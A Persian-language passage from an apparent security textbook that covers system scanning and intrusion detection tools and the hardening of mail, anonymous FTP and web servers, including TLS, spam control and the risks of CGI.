  .دهندزماني كوتاه انجام ميرا در مدت) شايد صدها بررسي(زيادي 

 روي انواع   Tiger.  تگزاس تهيه شده است    A&M نام دارد كه در دانشگاه       Unix  ،Tigerاي در   يك ابزار جديد تصويربرداري لحظه    
 Windowsبـراي ايـن منظـور در دنيـاي          . گيـرد شود و نصب آن طي فرآيندي ساده انجام مي        عاملها اجرا مي    اي از سيستم    تردهگس

 Intrusion Detectionاز شـركت  ) Kane Security Analyst) KSAافـزاري وجـود دارد؛ مثـل برنامـة     چنـدين بـستة نـرم   
)http://www.intrusion.com (    ور و مجوزها    كه به بررسي رمزهاي عب) كنـد  ها نظارت مـي   پردازد و بر صحت داده      مي) فهرستهاي كنترل .

NAT   ابزار رايگاني بـراي ارزيـابي NetBIOS    و محرمـانگي رمـز عبـور NT     اسـت كـه توسـط شـركت Security Advisors   
)http://www.secnet.com (دو ابزار ديگر براي بررسي رمزهاي عبور . بوجود آمدهNT عبارتند از Scan NT ٢٠٤انـدي بـارون   توليد 
)http://www.ntsecurity.com/Products/ScanNT/index.htm ( وL0pht Crack در مؤسسه صـنايع  " ايمحققان امنيت رايانه" توليد

  .L0phtسنگين 

هـا را بـدقت   امهخروجيهاي اين برن.  حداقل يكبار در ماه  -اي بايد طبق يك روال منظم به اجرا درآيند          ابزارهاي تصويربرداري لحظه  
به يـاد داشـته باشـيد كـه ايـن خروجيهـا را در دسـترس        . مورد بررسي قرار دهيد و درصورت امكان موارد مشكوك را پيگيري كنيد           

  .توانند با استفاده از آنها به يك سيستم نفوذ كنندديگران قرار ندهيد، چراكه طبق تعريف، همان منافذي هستند كه مهاجمان مي

  شگر شبكههاي پوي برنامه

هـاي شـما    رايانـه . كننـد   را براي يافتن اشكالات متداول امنيتي بررسي مـي ftpd و send mailهاي شبكه مثل  اين ابزارها برنامه
در . توانيد اين برنامه را به اجرا درآوريد        شوند، بنابراين خود شما نيز مي     مطمئناً توسط مهاجمان علاقمند به نفوذ به سيستم پويش مي         

. نـام بـرد   ) Nessus) http://www.nessus.orgتوان از     ، مي Unixعاملهاي    ترين ابزارهاي رايگان موجود براي سيستم       رتمندميان قد 
شده در ثبتها و پايگاههـاي داده       آوري  چندين ابزار براي تحليل اطلاعات جمع     ) SomarSoft) http://www.somarsoft.comشركت  

Windows NTارائه كرده است  .KSAيشتر در مورد آن صحبت كرديم نيـز بـراي بـسترهاي مبتنـي بـر       كه پWindows NT 
 كه شبكه را بـدنبال پورتهـاي    nmap٢٠٥يك پويشگر قوي ديگر عبارت است از        . آوردقابليتهاي تحليل و بررسي صحت را پديد مي       

عامـل آنـرا     پويشهاي شبكه نـوع سيـستم      ها را نگاشت نمايد، و با توجه به پاسخهاي يك رايانه به           تواند شبكه كند، مي باز پويش مي  
  .حدس بزند
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  يابسيستمهاي مهاجم

همانطور كه از نام آنها پيـدا اسـت،         . ها معادل دزدگيرها در زندگي معمولي هستند       در دنياي رايانه   ٢٠٦)هاIDS (يابسيستمهاي مهاجم 
  .مبني بر تلاش يك مهاجم براي نفوذ هستندهايي كنند و مترصد يافتن نشانهاين ابزارها هنگام كار رايانه، بر آن نظارت مي

ياب مبتني بر ميزبان مراقب نفـوذ بـه   يك سيستم مهاجم. توانند مبتني بر شبكه يا مبتني بر ميزبان باشند         ياب مي سيستمهاي مهاجم 
ياب مبتني بـر    سيستمهاي مهاجم . عامل متكي هستند    ها به سيستمهاي مميزي امن سيستم       بيشتر اين برنامه  . آن ميزبان خاص است   

بيشتر اين سيستمها، سيستمهاي پيچيدة نظارت بـر        . كنند  شبكه، يك شبكه را براي يافتن علائم نفوذ به يك رايانة ديگر كنترل مي             
ياب بعنوان يك مثال از سيستمهاي مهاجم     . كنندها استفاده مي   بعنوان ديدبان بسته   Eternetشبكه هستند كه از واسطهاي كاربري       

  .  اشاره كردsnortتوان به كه ميمبتني بر شب

  يابهاويروس

تنهـا بـه قابليتهـاي    ويروس، نه افزار ضد هنگام انتخاب نرم.  وجود داردWindowsياب در محيط   بازار بزرگي براي ابزارهاي ويروس    
بـسياري از   .  كنيـد  روزرساني فهرست ويروسهاي قابـل شناسـايي آن نيـز توجـه            براي به   شدهمحصول، بلكه به نوع پشتيباني فراهم     

توانيـد    كنند كه طبق آن تا زمانيكه عضويت شما در آن ادامـه داشـته باشـد مـي                   يابهاي تجاري از مدل عضويتي استفاده مي      ويروس
  .روزرسانيها را بصورت هفتگي دريافت كنيد به

شـده كـه قابليـت      ويروس گـزارش   ۴ يا   ۳براي اين بسترها تنها     .  نيازي به ابزارهاي ضدويروس ندارند     Linux و   Unixسيستمهاي  
دهد، كار يك   بدليل نوع كاري كه انجام مي     ) Tripwireمثل  (كنندة صحت   در اين محيطها يك برنامة نظارت     . انتشار چنداني نيز ندارند   

 هاي آلـوده بـه  Macro براي مقابله با Mac OSتر اين در حالي است كه سيستمهاي قديمي. رساندضدويروس را نيز به انجام مي
  . به ابزارهاي ضدويروس نياز دارندMicrosoft Officeويروس در محصولات 

هـاي  گيرندهتواند بعنوان يك دروازة ورودي ضدويروس براي حفاظت از سرويس            مي Unixدهندة پستي     از طرف ديگر يك سرويس    
توان تنهـا بـه همـين       د، و مي   را شناسايي كنن   Windowsتوانند ويروسهاي   ضدويروسهاي زيادي مي  .  بكار رود  Windowsپستي  

  . به اجرا درآوردUnixمنظور آنها را روي دستگاههاي 

  ابزارهاي ثبت و ضبط اطلاعات شبكه

. كنند تا امكان انجام تجزيه و تحليل آن در آينده وجود داشـته باشـد          گذرد را ضبط مي   اين ابزارها همة ترافيكي كه از يك شبكه مي        
توانـد    گيگابـايتي مـي  ۸۰بعنوان مثال يك ديـسك سـخت   . شوندهايي با ديسكهاي بزرگ اجرا مي     اين سيستمها معمولاً روي رايانه    

 را در خود ذخيره نمايد تا درصورت وقوع يك نفوذ يا بـروز هـر رخـداد ديگـر، بتـوان      T1ترافيك حدود دو هفتة يك شبكة معمولي  
  .شده را تحت تجزيه و تحليل قرار دادترافيك ضبط

  هاي پستيدهندهستأمين امنيت سروي
افتنـد،  هـا از كـار مـي      دهندهزمانيكه اين سرويس  . هاي هر سازمان هستند     دهنده  هاي پستي معمولاً مهمترين سرويس    دهندهسرويس

شود؛ و زمانيكـه مـورد سـوء اسـتفاده قـرار            يك مسير ارتباطي مهم ميان مشتريان، فروشندگان، و كارمندان سازمان دچار آسيب مي            
هـاي  دهندهاگرچه ملاحظات كلي امنيتي را تا حدودي براي سرويس        . شودعات خصوصي و محرمانه بسرعت افشا مي      گيرند اطلا  مي

  .ها وجود دارددهندهتوان بكار برد، اما برخي ملاحظات خاص نيز براي اين سرويسپستي نيز مي
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  انتخاب يك عامل انتقال پستي

افـزار   اين نـرم . ئوليت دريافت و تخصيص پيامهاي الكترونيكي را بر عهده داردافزاري است كه مس     نرم ٢٠٧(MTA) عامل انتقال پستي  
متصل است، و در طرف ديگر بـا عوامـل حمـل            ) كه به عامل انتقال پست الكترونيكي اتصال دارد       (در يك طرف با عاملهاي كاربران پستي        

 بايد بدرستي پيكربندي شود تا MTAافزار نرم. كندارتباط برقرار مي) كه عمليات نهايي حمل پيام الكترونيكي به مقصد را بر عهده دارند(پستي 
  .بتواند پيامها را تنها از كاربران واقعي و نه ديگران بپذيرد

، exim، و   sendmail  ،postfix  ،qmail عبارتند از    MTAافزارهاي پيشروي   ، نرم Unixهاي پستي مبتني بر     دهندهبراي سرويس 
شدة امنيتـي    است؛ و البته بايد گفت كه بيشترين رخدادهاي ثبت         sendmailترين، و پركاربردترين آنها       شده ترين، شناخته كه قديمي 

 زماني طراحي شد كه شبكة اينترنت هنوز بسيار جوان بـود و در آن زمـان                 sendmailشود، چراكه   افزار مي نيز مربوط به همين نرم    
 از ابتـدا بـا مـد نظـر قـرار دادن امنيـت              exim، و   postfix  ،qmail است كـه     اين درحالي . كارآيي اهميت بيشتري از امنيت داشت     

 MTA را بعنـوان     sendmailافـزاري غيـر از      هاي پستي شما ايمن باشند، بهتر است نرم       دهندهاگر بخواهيد سرويس  . طراحي شدند 
 انتشارات اوريلي و شـركا را       Sendmailب   هستيد، مستندات جانبي آن بعلاوة كتا      sendmailبرگزينيد، و اگر مجبور به استفاده از        

 هردو قابليت اين را دارند كه بـدون         exim و   postfixافزارهاي  نرم. بدقت مطالعه كنيد و به پيكربندي صحيح آن توجه ويژه نماييد          
  . شوندsendmailآثار جانبي چندان زيادي جايگزين سيستمهاي درحال كار مبتني بر 

 Microsoft Exchangeدهندة   يا سرويسimailافزارهايي مثل توانند از نرم  ميWindowsبر هاي پستي مبتني دهندهسرويس
سـازي اسـتانداردهاي اينترنتـي چنـدان        اند در پياده   تا به امروز نتوانسته    Windowsافزارهاي تحت   نرم.  استفاده كنند  MTAبعنوان  

  .تموفق باشند و امنيت آنها نيز تا كنون در سطح متوسط بوده اس

  هرزنامه

هنگام ارائه  . اند  ساز و پرهزينه تبديل شده      به يك مسئله دردسر   ) شوند   خوانده مي  هرزنامهكه عموماً   (هاي الكترونيكي ناخواستة تجاري     نامه
تم بسيار حياتي است كه بتوانيد مطمئن شويد نه افراد خارجي و نه كاربران مجاز داخلي با استفاده از سيس                  پست الكترونيكي،   خدمات  

  .پست الكترونيكي شما قادر به ارسال هرزنامه نيستند

كنيـد، كنتـرل دسترسـي افـراد خـارجي بـه خـدمات پـست          استفاده مي MTAافزار مورد استفاده بعنوان     روز نرم اگر از يك نسخة به    
رسند تا پيامهـا را تنهـا       مي با تنظيمات خاصي به فروش       MTAافزارهاي  درحال حاضر بيشتر نرم   . الكترونيكي نسبتاً آسان خواهد بود    

رايانـة  "منظـور از   . درصورتي منتشر كنند كه گيرندة آنها يك ماشين داخلي باشد و يا از يك رايانة قابل اعتماد فرستاده شـده باشـند                     
ر داخـل يـك   البته اين نشان تنها درحالتي معتبر است كه دسـتگاه مـذكو  (باشد   خاص مي IPدستگاهي است كه داراي يك آدرس       " قابل اعتماد 

توانـد بـا    ، و يا دسـتگاهي كـه مـي        ) نيز جلوگيري شود   IPسازي  قرار داشته باشد و در آن محيط از گمراه        " ديوارة آتش "شده بوسيلة يك    محيط حفاظت 
  .دهنده، تصديق هويت كنداستفاده از رمزنگاري، خود را براي سرويس

هاي كيفـي و سـاير دسـتگاههايي كـه     هاي پستي كه روي رايانه    يرندهگتصديق هويت با استفاده از رمزنگاري معمولاً براي سرويس        
  يـك روش پركـاربرد بـراي ايـن منظـور اسـتفاده از پروتكـل                . كننـد كـاربرد دارد       خود را بـصورت پويـا دريافـت مـي          IPآدرسهاي  

SMTP AUTHيافتة پروتكل  است، كه در واقع تكاملSMTPلاية "و " ق هويت سادهتصدي"باشد و با استفاده از مكانيزمهاي  مي
راهكـار ديگـر آن اسـت كـه بـراي      . آورد شرح داده شده، امكـان تـصديق هويـت را بوجـود مـي     ۲۲۲۲ شمارة   RFCكه در   " امنيت

  ٢٠٨. بكار رودSTARTTLS صادر شود و براي تصديق هويت آنها نيز پروتكل TLSها گواهينامة گيرنده۶سرويس

                                                                                                                                            
207  Mail Transfer Agent 

از ها بايد پست الكترونيكي خـود را        گيرندهسرويسدر اين روش ابتدا     . است POP-before-SMTPروش  استفاده از   البته ايمني كمتري دارد     روش معمولتر كه       ۲۰۸
شـده را  ثبـت  IPاستفاده از آدرسهاي  كوتاه زماني   بازة  براي يك    SMTPة  دهند  سرويسسپس  . كند كنترل نمايند    آنها را ثبت مي    IP  آدرسهاي كه POPطريق  

  .شوند گذاريرمزهم  POPاتصالات نكه اي، مگر داردامنيت كمتري تواند باعث رضايتمندي شود، اما مياين روش هرچند  .داندمجاز مي
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توانند پهناي باند شبكة سازمان را اشغال كنند و بسرعت اعتبار شـما       فرستند مي زنامه مي كساني كه درون شبكة شما قرار دارند و هر        
 يـك روش مناسـب بـراي نظـارت بـر      ٢٠٩ .دار نمايند، و بدتر از همه باعث شوند عليه شما اقدامات قـانوني صـورت بگيـرد                را خدشه 
هـاي الكترونيكـي كـه مقاصـدي خـارج از           ه آندسته از نامه   شوند اين است ك   هايي كه بوسيلة افراد داخلي شبكه فرستاده مي        هرزنامه

يـك راه عملـي بـراي ايـن         . هايي ارسال شوند كه شما بر آنها نظارت دائمـي داريـد           دهندهشبكه دارند تنها بتوانند از طريق سرويس      
 مسدود كنيـد و تنهـا بـه    را در ديوارة آتش) SMTPپورت سـرويس   (TCP 25رونده از پورت منظور آن است كه تمام ارتباطات بيرون

  .هاي پستي اجازه دهيد چنين ارتباطاتي را برقرار كنند ه دهند سرويس

  محرمانگي و صحت

پروتكـل  .  را مجاز يا اجبـاري كننـد       TLSشدة  اي پيكربندي شوند كه ارتباطات رمزگذاري     توانند بگونه    مي MTAافزارهاي  بيشتر نرم 
SMTP اي گسترش يافته كه يك عمليات        بگونهSTARTLS -    آغازگر گفتگوي TLS -    استفاده از .  را در بر بگيردTLS  ًمؤكـدا 

گيرنـده  دهد كه سـرويس كند، و همچنين اطمينان ميشود، چراكه هم از محرمانگي و هم از صحت پيامها محافظت مي          پيشنهاد مي 
  .دهندة صحيح متصل استنيز به سرويس

هـاي  دهنده توانند با سرويس  تان مي دهيد، بيشتر مشتريان فعلي    ارائه مي  IMAP  يا POPبصورت مشابه، اگر به كاربرانتان سرويس       
اي پيكربندي كرده باشيد كـه ايـن   دهنده را بگونه برقرار كنند؛ البته به شرطي كه سرويس SSL/TLSشدة  شما اتصالات رمزنگاري  

فرض، رمزهاي عبـور را بـدون       ا كه اين پروتكلها بصورت پيش     از آنج . اتصالات را بپذيرد و يا آنها را براي برقراري ارتباط لازم بداند           
 باعث پديد آمدن سطح حفاظتي زيـادي بـراي كـاربران و همينطـور               SSL/TLSدهند، الزامي كردن اتصالات     رمزنگاري انتقال مي  

   ٢١٠.شودپيامهاي آنان مي

ه از يك سيستم پست الكترونيكي مبتنـي         آن است كه با استفاد     IMAP يا   POPنشدة  يك جايگزين ديگر براي سرويس رمزنگاري     
 webmailيك مزيت مهـم اسـتفاده از   . شان را فراهم كنيمبر وب، از طريق مرورگر وب امكان دسترسي كاربران به صندوق پستي  

 ايمن شود، و بدين ترتيب همة مرورگرهـاي وب خواهنـد توانـست از               SSL/TLSبوسيلة  تواند  دهندة وب مي  سرويساين است كه    
  .تصال امن بهره ببرنديك ا

   ناشناسFTPهاي دهندهتأمين امنيت سرويس
تعداد اين دردسرها آنچنـان اسـت كـه طبـق           . آورد دردسرهاي مختلفي را براي راهبران سيستم بوجود مي        FTPاستفاده از پروتكل    

ض كاربران خارجي بتوانند فايلها  وجود نداشته باشد، و درعوFTPدهندة الگوهاي سرآمدي امروز، بهتر است اصلاً در شبكه سرويس      
و يا ) SSHبخشي از مجموعة  (sftp و scpدهندة وب دريافت كنند و كاربران داخلي نيز فايلها را با استفاده از       را از طريق يك سرويس    

SSLشدة  ايمنWeb-DAVمنتقل كنند .  

 كنند،  upload و   downloadي بتوانند فايلها را     اندازي كنيد تا كاربران خارج     راه ٢١١ ناشناس FTPدهندة    سرويساگر بنا است يك     
  :ها را مد نظر قرار دهيدمشياين خط

 خود را مطالعه كنيد تا بتوانيد بدرستي محـدودة فايلهـاي ناشـناس را تنظـيم كنيـد تـا            FTPدهندة    با دقت مستندات سرويس    •
ها قادر بـه حـذف فايلهـا        كنند و در آن شاخه     downloadايد فايل     هايي كه شما مشخص نموده    كاربران بتوانند تنها از شاخه    

 ها نباشند؛تعويض نام فايلها، و يا تغيير ساختار شاخه

                                                                                                                                            
 اعتبار ملي آن كشورها ضربه زده كـه بـسياري از            بهر اين زمينه دارند آنچنان      كه ضوابط قانوني ناكارآمدي د     ياز كشورهاي ها  ارسال هرزنامه درحقيقت حجم بالاي       ۲۰۹

 .زنندارسال شده باشد سر باز ميكشورها  از اينهاي پستي بعضاً از پذيرفتن هر نامة اكترونيكي كه دهندهراهبران سرويس
كـردن آنهـا   فعـال امـا  كنند، كنند پشتيباني ميشده را روي شبكه منتقل نمينمكانيزمهاي تصديق هويتي كه رمزهاي عبور رمزگذاري     از   IMAPو هم    POPم  ه   ۲۱۰

 .كنندزحمت دارد، و همچنين محرمانگي و كنترل صحت رمزگذاري پيام را تأمين نمي SSL/TLSبيش از 
211  Anonymous FTP Server 
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پـذيريهاي  هاي آرشيوي كه ممكن است آسيب       شده و يا برنامه   ها بصورت فايلهاي قابل اجرا مثل فايلهاي فشرده         از ارائه برنامه   •
هـا را    قابليت نمايش شـاخه    FTPدهندة  ، اگر خود سرويس   Unixشينهاي  روي ما . برداري داشته باشند احتراز نماييد    قابل بهره 

  نيز اجازة اجرا ندهيد؛lsدارد، حتي به فايل 

كند، بـراي      مالكان فايلها با نامهاي كاربري از يك فايل رمز عبور استفاده مي            uid شما براي انطباق     FTPدهندة    اگر سرويس  •
چندان مهـم    استفاده نكنيد، بلكه يك فايل ثانويه درست كنيد و تنها اطلاعات نه            دهندهاينكار از فايل رمز عبور اصلي سرويس      

 ؛ و)ها را ببينندuidها بتوانند گيرندهيا اصلاً از فايل رمز عبور استفاده نكنيد و اجازه دهيد سرويس(را در آن قرار دهيد 

 هـم انجـام   downloadهـايي كـه از آنهـا       ا از شـاخه   هايي مجـز  دهيد، اين اجازه را به شاخه      فايلها را مي   uploadاگر اجازة    •
به اين ترتيـب شـما راه   . شده نيستندupload كردن فايلهاي  downloadشود بدهيد و مطمئن شويد كه كاربران قادر به           مي

همچنـين بايـد   . ايـد افزارهاي مـسروقه را مـسدود كـرده    نرمdownload خود براي FTPاستفادة ناصحيح از ترافيك پايگاه    
شده كاراكترهاي خاصي در نام خود داشته باشند، و همچنين فضايي      uploadطمئن شويد امكان آن وجود ندارد كه فايلهاي         م

بـه ايـن    . زنـد  مجزا قرار دارد و پر شدن آن آسيبي به ساير خدمات نمي            partitionشود در يك     در آن انجام مي    uploadكه  
 .اجم اطلاعاتي جلوگيري خواهد شدترتيب از محو و حذف شدن اين فايلها در يك ته

 و يـا يـك      VPN ارائه ندهيد، مگر اينكه بتوانيد آنرا از طريـق يـك تونـل               ٢١٢ غيرناشناس FTPسرويس  شود بطور كلي    توصيه مي 
  .محافظت كنيد) SafeTP) http://safetp.cs.berkley.eduپوشش رمزنگاري مانند 

  هاي وب دهنده تأمين امنيت سرويس
دهندة وبي انتخاب   عامل و برنامة سرويس   سيستم. آيندها بكار مي  دهنده، قواعد عمومي امنيت سرويس    وبفحات  در ارائه سرويس ص   

دهنـدة   با دقت مستندات سرويس. اند و از سابقة امنيتي خوبي نيز برخوردار هستندكنيد كه با نگاه خاص به مقولة امنيت طراحي شده      
به سيـستم جلـوگيري   " guest"از ورود كاربران . شودآنرا كه مربوط به مباحث امنيتي مي   وب را مطالعه كنيد، خصوصاً قسمتهايي از        

دهندة وب هستند را به همان كـساني كـه لازم اسـت از آن اسـتفاده كننـد محـدود            كنيد و كاربراني كه مجاز به استفاده از سرويس        
، اگـر مجبـور     Windowsدر يـك سيـستم      . فعال كنيد  از طريق شبكه را غير     administratorامكان ورود حساب كاربري     . نماييد

زدن را به نام ديگري تغيير دهيد كه حـدس     administratorحساب كاربري    دور راهبري نماييد، نام       دهنده را از راه     هستيد سرويس 
 را ملزم نماييد كه      را بكلي  غيرفعال كنيد و كاربران       root نيز امكان ورود حساب كاربري       Unixروي يك سيستم    . آن دشوارتر باشد  

  . را مورد استفاده قرار دهندsuبراي دسترسي به امكانات راهبري سيستم، فرمان 

هاي وب، نگرانيهاي امنيتي خاص خود را دارد كه مهمترين آنها عبارتند از حفـظ محرمـانگي                   دهنده  اندازي سرويس در هرصورت راه  
  .روزرساني محتوادهنده، و بههاي سمت سرويسبرنامهاطلاعات، صحت قطعه

  محرمانگي اطلاعات

دهندة وبي را مورد استفاده قرار دهيد كه           دريافت كنيد و سرويس    SSLاگر قرار است اطلاعات حساسي را انتقال دهيد، يك گواهي           
خواهيـد يـك   اگـر مـي  ).  اسـتفاده كننـد  SSLاي پيكربنـدي شـوند كـه از    تواننـد بگونـه   مـي IIS و هـم    Apacheهم  ( داشته باشد    SSLقابليت  

interanet    يا يك   ( طراحي كنيدinternet   توانيـد از يـك گـواهي        ، مي )شودهاي كارمندانتان محدود مي   گيرنده كه به سرويسSSL   اسـتفاده 
در غيراينـصورت  . كنيد كه توسط خودتان به امضا رسيده، و يا اينكه اصلاً يك روش مخصوص به خود بـراي اينكـار بوجـود آوريـد                    

هـاي امـضاشدة آن در بيـشتر         كه گواهي  - VeriSign را از مراكز معتبر صدور گواهي مثل         SSLخواهيد بود گواهي    قاعدتاً مجبور   
توانيد به فـصل چهـارم از همـين          مي SSLهاي  براي اطلاعات بيشتر در مورد گواهي     .  بخريد -مرورگرهاي معروف وب وجود دارد      

  .بخش رجوع نماييد
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و رمزهـاي عبـور كـه در تـصديق هويـت ابتـدايي              نامهاي كـاربري     شامل   - HTTPام انتقالات   كنيد، تم    استفاده نمي  SSLاگر از   
HTTP       در بيـشتر مـوارد اگـر       . شـوند نشده انجام مـي    بصورت رمزگذاري  -كند    گيرنده آنرا منتقل مي    و يا هر نوع فرمي كه سرويس

هاي انتقالي حفاظت بعمـل آورده  سازي نماييد تا از دادهاده را پيSSLاي نداريد جز اينكه   بخواهيد كاربر را تصديق هويت كنيد، چاره      
  .باشيد

  دهندههاي سمت سرويسبرنامهقطعه

و پاسـخ بـه پرسـشهاي متـداول،         هـاي مناسـبي بـراي نمـايش اطلاعـات ثابـت ماننـد بروشـورها،                   هاي وب، برنامه    دهنده  سرويس
هايي كه قرار   ر كاربر بصورت اختصاصي تنظيماتي داشتند و يا برنامه        هايي كه براي ه   هاي محصولات بودند، اما براي برنامه       كاتالوگ

هـاي وب     دهنـده   ، لازم بود كـه قابليتهـاي سـرويس        )مثل كارتهاي خريد  (بود به نوعي در تجارت الكترونيكي مورد استفاده قرار بگيرند           
درحـال حاضـر    .  صفحه، يكبار به اجـرا در آورد       اي توسعه پيدا كنند كه بتوانند دستورات اختصاصي را براي هر تقاضاي نمايش            بگونه

گيـرد بـه اجـرا در        مورد دسترسي قرار مـي     URLهايي هستند كه وقتي يك      ها و يا برنامه   برنامهاين دستورات معمولاً بصورت قطعه    
تأسـفانه  م. دهنـدة وب وجـود نـدارد     نويـسي در كـار بـا يـك سـرويس          هيچ محدوديتي روي توانايي يك گروه قوي برنامـه        . آيندمي

توانند حاوي نقايصي باشند كه به مهاجمان اجازه دهـد بـه            دهند، مي هاي وب را افزايش مي    دهندههايي كه قابليتهاي سرويس     برنامه
بدتر از همه اينكه اگر برنامه به همان صورت كه          . دهندة وب روي آن درحال اجرا است بپردازند         اي كه سرويس  سوء استفاده از رايانه   

  .توانند مورد شناسايي قرار گيرندرود عمل كند، اين نقايص بندرت مي ميانتظار آن 

  : اصلي وجود دارد دهنده، چهار تكنيكهاي كاربردي سمت سرويسبراي تهية برنامه

CGI   
CGIزمانيكه يك   . هاي وب بود    دهنده   اولين ابزار گسترش سرويس    ٢١٣URL       مربوط به يك برنامـة CGI    دهنـدة وب    بـه سـرويس

كنـد، و نتـايج       نمايد، خروجي برنامه را دريافـت مـي        مذكور را در يك پردازة مجزا اجرا مي        CGIدهنده برنامة      شود، سرويس  فرستاده
 بعنـوان متغيرهـاي محيطـي    CGIهـاي  آرگومانهاي برنامـه . فرستدشده را به مرورگر وبي كه آنرا درخواست كرده بود مي    درخواست

  .كنندها عمل ميتاندارد برنامههاي اسشوند و مثل وروديكدگذاري مي

هاي پايگاه داده به اجرا درآورند و نتايج آنرا نمايش دهند، افراد را قادر كنند كه محاسبات پيچيدة                  queryتوانند     مي CGIهاي    برنامه
ع بايد گفت كه هر قابليت در واق. مالي انجام دهند، و به كاربران امكان دهند كه با ساير كاربران در محيط اينترنت به گفتگو بپردازند         

 در ابتدا با استفاده از      -دهند    ها را مي   از موتورهاي جستجو گرفته تا صفحات وبي كه اجازة رديابي بسته           -نوآورانة شبكة جهاني وب     
  . بوجود آمده بودندCGIهاي برنامه

Plug-in ،هاModule اي   و واسطهاي برنامه٢١٤بارگذاري،هاي قابل)API٢١٥)ها  
 Cهايي بود كه معمولاً به زبانهاي moduleهاي وب از آن استفاده شد اضافه كردن         دهنده  ي كه براي توسعة سرويس    دومين تكنيك 

ها، و  moduleها،  Plug-in. شوند  ميبارگذاري  دهندة وب     ها در زمان اجرا روي سرويس     moduleاين  .  نوشته شده بودند   ++Cيا  
API  هاي وب هستند، چون درصورت اسـتفاده از          دهنده  هاي اختصاصي و سرويس   برنامهتري براي برقراري ارتباط ميان        ها راه سريع

هـاي  دهنـدة وب، برنامـه      آنها نيازي نيست كه به ازاي هر تعامل وب يك پردازة جديد شروع شود و درعوض خود پـردازة سـرويس                    
 ممكـن اسـت     plug-inبرنامة  :  بارز دارند   نقصاما اين تكنيكها يك     . آوردكاربردي را در فضاي آدرسِ خود آن برنامه به اجرا در مي           

  .دهندة وب گردد تواند سبب از كار افتادن كل سرويس بسيار پيچيده باشد، و وجود تنها يك اشكال در آن مي
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  ٢١٦شدهاي از پيش تعبيهبرنامهزبانهاي قطعه
اي به صفحات وب مورد اسـتفاده        بليتهاي برنامه اي مبتني بر وب سومين تكنيكي بود كه بمنظور افزودن قا          برنامهابداع زبانهاي قطعه  

 -شـوند   ناميده ميبرنامه قطعه كه معمولاً -هاي كوچكي  كنند كه بتوانند برنامه دهندگان را قادر مي   اين سيستمها توسعه  . قرار گرفت 
در صفحات وب را پيش از      هاي موجود     دهندة وب، برنامه    را مستقيماً در صفحة وب قرار دهند، و سپس يك مفسر دروني در سرويس             

مثالهايي در اين زمينه عبارتنـد      . توانند بسيار سريع باشند   ها مي برنامهاين قطعه . كند  فرستادن صفحة مزبور براي مرورگر وب اجرا مي       
  .mod-perlدهنده، و   سمت سرويسPHP ،JavaScript شركت مايكروسافت، ASPاز 

  ٢١٧ شدهدهندة وبِ از پيش تعبيه سرويس
 خـود را روي  HTTPدهندة اختـصاصي  دهندة وب كاري ندارند و سرويس ه اينكه برخي سيستمها بطور كل با برنامة سرويس     بالاخر
  .آورندهاي مبتني بر وبِ خود به اجرا در ميبرنامه

ه ايـن   دهنـدة وب و ميزبـاني ك ـ        تواننـد امنيـت سـرويس     تكنيكهايي كه در اينجا بر شمرديم بـدليل توانمنـديهايي كـه دارنـد، مـي               
هـا    تواند از طريق اين واسطه      اي مي شود را به مخاطرة جدي بياندازند؛ چون بصورت بالقوه هر برنامه          دهنده روي آن اجرا مي     سرويس

هايي كه بـه افـراد بيرونـي اجـازة دسترسـي بـه رايانـة شـما را                     هايي كه مشكلات امنيتي دارند، برنامه        حتي برنامه  -به اجرا در آيد     
  .كنند هايي كه فايلهاي حياتي سيستم شما را تغيير داده و يا حذف مي  برنامهدهند، و يا مي

  :هاي كاربردي وب را محدود كرد توان خسارتهاي ناشي از برنامه با استفاده از دو تكنيك مي

تواننـد كـار    ها بايد چنان طراحي شوند و مورد بازبيني قرار گيرند كه اطمينان حاصل شود بجز اعمـال مـورد نظـر نمـي                        برنامه •
 ديگري انجام دهند؛

ها توسط يك مهاجم مـورد سـوء اسـتفاده قـرار      در اينصورت اگر برنامه. ها بايد در يك محيط محدودشده به اجرا درآيند   برنامه •
 .نشده از خود بروز دهند، خسارتهاي وارده نيز محدود خواهد بودبينيبگيرند تا يك عملكرد پيش

هـا بپردازنـد،    تواننـد در سـطوح متفـاوت دسترسـي بـه اجـراي برنامـه              كـه كـاربران متفـاوت مـي       عاملهـاي چنـدكاربره     در سيستم 
 و يـا   nobodyآينـد، مثـل حـساب كـاربري         هاي وب معمولاً تحت يك حساب كاربري محدودشده به اجـرا در مـي              دهنده سرويس
httpd .   هـاي     ها از جملـه آندسـته از برنامـه        در اينصورت همة برنامهCGI   و API    بـه قـصد ايجـاد اخـلال در سيـستم مـورد              كـه  

  ٢١٨.گيرند نيز تحت همان حساب كاربريِ محدودشده به اجرا در خواهند آمدسوء استفاده قرار مي

بعنوان مثال در نگارشـهاي     . اند  عاملها چنين قابليتي براي استفاده از حسابهاي كاربريِ محدودشده ايجاد نكرده          متأسفانه ساير سيستم  
 كـاربرد داشـت،   Mac OS X كه پيش از Mac OS 7-9عامل  و نيز سيستمWindowsعامل  از سيستمME، و 98، 95، 3.1

  . را محدود كندCGIهاي اي وجود نداشت كه بخواهد از طريق آن دسترسي برنامهعامل راه سادهبراي سيستم

   نوشته شوندCGIهايي كه نبايد به  برنامه

 CGIهـاي   هاي قابل توسعه هرگز نبايد در يك شاخة متعلـق بـه برنامـه               ها، و ساير برنامه   مهبرناها، موتورهاي قطعه    مفسرها، پوسته 
دهندة وبِ يـك رايانـة ميزبـان        وجود داشته باشند، و از آن گذشته اگر احتمال رسيدن درخواستهايي به پردازة سرويس             ) cgi-binمثل  (

يچ قـسمتي از سيـستم فايـل آن موجـود باشـند؛ و در غيراينـصورت                 گفته بطور كلي نبايـد در ه ـ      هاي پيش وجود داشته باشد، برنامه   
  . ها هر برنامة دلخواه خود را روي آن رايانه به اجرا درآورندمهاجمان قادر خواهند بود كه با استفاده از اين برنامه

                                                                                                                                            
216  Embedded Scripting Language  
217  Embedded Web-server 

اي به اجرا در آيند كه بجـاي        بگونه CGIهاي  برنامهيا يك دانشگاه، معمول است كه قطعه       ISPدهندة وب در يك     مثلاً يك سرويس  در يك محيط چندكاربري،        ۲۱۸
  .نويس خود به اجرا درآينددهندة وب، با امتيازات دسترسي برنامهسرويسدسترسي به امتيازات 
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ا چيـزي كـه مـشكلات را    اي نيست، امكسب آگاهي در مورد صحيح يا ناصحيح بودن پيكربندي يك رايانه به خوديِ خود كار ساده             
. پـذير را پيـدا كننـد      هـاي آسـيب   توانند بصورت خودكار، رايانـه    كند اين است كه برخي جستجوگرها وجود دارند كه مي         تر مي پيچيده

 CGIهاي  برنامههيچگاه نبايد در شاخة قطعه     )perl) PERL.EXE، برنامة اجرايي    Windowsبعنوان مثال در سيستمهاي مبتني بر       
